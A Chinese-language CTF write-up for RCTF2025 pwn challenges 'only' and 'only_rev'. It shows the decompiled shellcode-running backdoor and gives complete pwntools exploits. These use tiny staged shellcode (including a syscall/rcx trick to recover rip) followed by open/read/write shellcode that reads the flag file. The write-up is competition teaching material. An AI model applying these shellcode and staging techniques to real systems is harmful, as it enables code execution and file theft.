0x00

打了 RCTF2025,放下wp再复现几题

0x01 only

经过逆向发现堆部分以及其他部分没有什么洞,但是可以写shellcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
unsigned __int64 backdoor()
{
_QWORD *addr_1; // rax
int n2; // [rsp+8h] [rbp-28h] BYREF
int i; // [rsp+Ch] [rbp-24h]
__int64 *v4; // [rsp+10h] [rbp-20h]
unsigned __int64 v5; // [rsp+18h] [rbp-18h]
void *addr; // [rsp+20h] [rbp-10h]
unsigned __int64 v7; // [rsp+28h] [rbp-8h]
__int64 savedregs; // [rsp+30h] [rbp+0h] BYREF

v7 = __readfsqword(0x28u);
if ( byte_4068 )
{
puts("You've got help");
}
else
{
byte_4068 = 1;
puts("maybe you need some help...");
for ( i = 0; i <= 5; ++i )
{
putchar(46);
usleep(0x30D40u);
}
printf("\n1.run your code\n2.get a gift\nMake a choice:");
__isoc23_scanf("%d", &n2);
if ( n2 == 1 )
{
addr = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( addr == (void *)-1LL )
{
perror("mmap failed");
}
else
{
addr_1 = addr;
*(_QWORD *)addr = 0x3148DB3148C03148LL;
addr_1[1] = 0x48FF3148D23148C9LL;
addr_1[2] = 0xC9314DC0314DF631LL;
addr_1[3] = 0x314DDB314DD2314DLL;
*(_QWORD *)((char *)addr_1 + 26) = 0x4DE4314DDB314DD2LL;
*(_QWORD *)((char *)addr_1 + 34) = 0xFF314DF6314DED31LL;
printf("your code:");
read(0, (char *)addr + 42, 0xAuLL);
((void (*)(void))addr)();
munmap(addr, 0x1000uLL);
puts("run success");
}
}
else if ( n2 == 2 )
{
v4 = &savedregs;
v5 = v7;
printf("your gift: %lx\n", v7);
}
}
return v7 - __readfsqword(0x28u);
}

应该就是对shellcode的考察了
10 字节,除了 rsprbp以外通用寄存器全清空,调试可以发现栈上有mmap地址留存,直接二次读即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "101.245.98.115"
port = 26100
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b main
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)
def note():
io.recvuntil(b'3.exit')
io.send(b'1\n')

def outnote():
io.recvuntil(b'5.back')
io.send(b'5\n')

def add(size):
io.recvuntil(b'5.back')
io.send(b'1\n')
io.recvuntil(b'size:')
io.send(str(size).encode() + b'\n')

def free():
io.recvuntil(b'5.back')
io.send(b'2\n')

def save(data):
io.recvuntil(b'5.back')
io.send(b'3\n')
io.recvuntil(b'filename: ')
io.send(data)

def edit(data):
io.recvuntil(b'5.back')
io.send(b'4\n')
io.recvuntil(b'content: ')
io.send(data)

def backdoor(ch):
io.recvuntil(b'3.exit')
io.send(b'2\n')
io.recvuntil(b'input:')
target = 0xD0E0A0D0B0E0E0F
d_val = struct.unpack('d', struct.pack('Q', target))[0]
io.send(str(d_val).encode() + b'\n')
io.recvuntil(b'Make a choice:')
io.send(str(ch).encode() + b'\n')

backdoor(1)

#shellcode = asm('''
# mov rdx, [rsp]
# add dl, 0x26
# add dh, 0x26
# dec byte ptr [rdx]
#''')

shellcode = asm('''
mov dl, 0xff
mov rsi, [rsp+0x28]
syscall
''')
log.info("length: "+hex(len(shellcode)))
io.recvuntil(b'your code:')
io.send(shellcode)

shellcode = asm('''
mov rdx, 0x200
push 0x67616c66
mov rdi,rsp
xor esi,esi
mov eax,2
syscall
mov edi,eax
mov rsi,rsp
xor eax,eax
syscall
xor edi,2
mov eax,edi
syscall
''')
shellcode = shellcode.rjust(0xff, b'\x90')
io.send(shellcode)

io.interactive()

0x02 only_rev

和 only 基本一样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
unsigned __int64 backdoor()
{
_QWORD *addr_1; // rax
_QWORD *v1; // rax
int n2; // [rsp+4h] [rbp-2Ch] BYREF
int i; // [rsp+8h] [rbp-28h]
int v5; // [rsp+Ch] [rbp-24h]
__int64 *v6; // [rsp+10h] [rbp-20h]
unsigned __int64 v7; // [rsp+18h] [rbp-18h]
void *addr; // [rsp+20h] [rbp-10h]
unsigned __int64 v9; // [rsp+28h] [rbp-8h]
__int64 savedregs; // [rsp+30h] [rbp+0h] BYREF

v9 = __readfsqword(0x28u);
if ( byte_4068 )
{
puts("You've got help");
}
else
{
byte_4068 = 1;
puts("maybe you need some help...");
for ( i = 0; i <= 5; ++i )
{
putchar(46);
usleep(0x30D40u);
}
printf("\n1.run your code\n2.get a gift\nMake a choice:");
__isoc23_scanf("%d", &n2);
if ( n2 == 1 )
{
addr = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL);
if ( addr == (void *)-1LL )
{
perror("mmap failed");
}
else
{
addr_1 = addr;
*(_QWORD *)addr = 0x3148DB3148C03148LL;
addr_1[1] = 0x48FF3148D23148C9LL;
addr_1[2] = 0xC9314DC0314DF631LL;
addr_1[3] = 0x314DDB314DD2314DLL;
addr_1[4] = 0x4DF6314DED314DE4LL;
addr_1[5] = 0x345678C48148FF31LL;
addr_1[6] = 0x12345678C5814812LL;
printf("your code:");
v5 = read(0, (char *)addr + 56, 9uLL);
v1 = (char *)addr + v5 + 56;
*v1 = 0x4812345678EC8148LL;
*(_QWORD *)((char *)v1 + 7) = 0xC312345678ED8148LL;
((void (*)(void))addr)();
munmap(addr, 0x1000uLL);
puts("run success");
}
}
else if ( n2 == 2 )
{
v6 = &savedregs;
v7 = v9;
printf("your gift: %lx\n", v9);
}
}
return v9 - __readfsqword(0x28u);
}

9 字节,除了 rsprbp以外通用寄存器全清空, rsprbp也被破坏,无法进行对栈的操作
还是二次读的思路:获取rip有两个思路:

  • lea reg, [rip+offset] – 长度 7 字节:offset 为 0 也仍然是7字节
  • call next; next: pop reg – 长度 6 字节

这里长度卡的比较死,无法操作栈,如果使用lea的话长度又不够;于是有一个 trick(比赛的时候没想到):syscall在切换到内核态之前会把用户态的下一条指令地址存储到rcx寄存器,而在通用寄存器全为 0 的情况下,syscall相当于read(0, NULL, 0);,什么都不干,但是会把用户态的下一条指令地址存储到rcx寄存器,这样我们就可以仅仅 2 字节获取rip,后续即可二次读

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/env python3
from pwn import *

context(os='linux', arch='amd64', log_level='debug')

filename = "pwn_patched"
libcname = "/home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6_2.39-0ubuntu8.6_amd64/usr/lib/x86_64-linux-gnu/libc.so.6"
host = "127.0.0.1"
port = 1337
elf = context.binary = ELF(filename)
if libcname:
libc = ELF(libcname)
gs = '''
b *$rebase(0x1a79)
set debug-file-directory /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/libc6-dbg_2.39-0ubuntu8.6_amd64/usr/lib/debug
set directories /home/r3t2/.config/cpwn/pkgs/2.39-0ubuntu8.6/amd64/glibc-source_2.39-0ubuntu8.6_all/usr/src/glibc/glibc-2.39
'''

def start():
if args.P:
return process(elf.path)
elif args.R:
return remote(host, port)
else:
return gdb.debug(elf.path, gdbscript = gs)


io = start()

# pwn :)
def note():
io.recvuntil(b'3.exit')
io.send(b'1\n')

def outnote():
io.recvuntil(b'5.back')
io.send(b'5\n')

def add(size):
io.recvuntil(b'5.back')
io.send(b'1\n')
io.recvuntil(b'size:')
io.send(str(size).encode() + b'\n')

def free():
io.recvuntil(b'5.back')
io.send(b'2\n')

def save(data):
io.recvuntil(b'5.back')
io.send(b'3\n')
io.recvuntil(b'filename: ')
io.send(data)

def edit(data):
io.recvuntil(b'5.back')
io.send(b'4\n')
io.recvuntil(b'content: ')
io.send(data)

def backdoor(ch):
io.recvuntil(b'3.exit')
io.send(b'2\n')
io.recvuntil(b'input:')
target = 0xD0E0A0D0B0E0E0F
d_val = struct.unpack('d', struct.pack('Q', target))[0]
io.send(str(d_val).encode() + b'\n')
io.recvuntil(b'Make a choice:')
io.send(str(ch).encode() + b'\n')

backdoor(1)

# 0x797925633000: xor rax,rax
# 0x797925633003: xor rbx,rbx
# 0x797925633006: xor rcx,rcx
# 0x797925633009: xor rdx,rdx
# 0x79792563300c: xor rdi,rdi
# 0x79792563300f: xor rsi,rsi
# 0x797925633012: xor r8,r8
# 0x797925633015: xor r9,r9
# 0x797925633018: xor r10,r10
# 0x79792563301b: xor r11,r11
# 0x79792563301e: xor r12,r12
# 0x797925633021: xor r13,r13
# 0x797925633024: xor r14,r14
# 0x797925633027: xor r15,r15
# 0x79792563302a: add rsp,0x12345678
# 0x797925633031: add rbp,0x12345678

shellcode = asm('''
syscall
mov rsi, rcx
mov dl, 0xff
syscall
''')
log.info("length: "+hex(len(shellcode)))
io.recvuntil(b'your code:')
io.send(shellcode)

shellcode = asm('''
sub rsp, 0x12345678
sub rbp, 0x12345678
mov rdx, 0x200
push 0x67616c66
mov rdi,rsp
xor esi,esi
mov eax,2
syscall
mov edi,eax
mov rsi,rsp
xor eax,eax
syscall
xor edi,2
mov eax,edi
syscall
''')
shellcode = shellcode.rjust(0xff, b'\x90')
io.send(shellcode)

io.interactive()

0x03 rd

条件竞争 #todo

0x04 mstr

python pwn #todo